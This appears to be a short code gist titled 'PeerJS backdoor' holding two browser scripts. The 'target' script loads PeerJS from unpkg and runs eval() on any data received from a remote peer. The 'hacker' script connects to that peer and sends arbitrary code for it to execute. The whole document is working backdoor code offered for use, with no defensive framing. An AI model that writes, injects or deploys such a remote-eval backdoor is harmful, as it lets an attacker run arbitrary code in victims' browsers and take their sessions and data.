PeerJS backdoor

peerjs-backdoor.js

// target
(function () {
  const script = document.createElement("script");
  script.src = "https://unpkg.com/[email protected]/dist/peerjs.min.js";
  script.onload = () => {
    const peer = new Peer();
    peer.on("open", function (id) {
      console.log(id);
      peer.on("connection", function (conn) {
        conn.on("data", function (data) {
          eval(data);
        });
      });
    });
  };
  document.body.appendChild(script);
})();


// hacker
(function () {
  const script = document.createElement("script");
  script.src = "https://unpkg.com/[email protected]/dist/peerjs.min.js";
  script.onload = () => {
    const peer = new Peer();
    peer.on("open", function (id) {
      console.log(id);
      const conn = peer.connect(prompt("id"));
      document.body.onclick = () => {
        conn.send(prompt("eval"));
      };
    });
  };
  document.body.appendChild(script);
})();

backdoor-three-hundred-bucks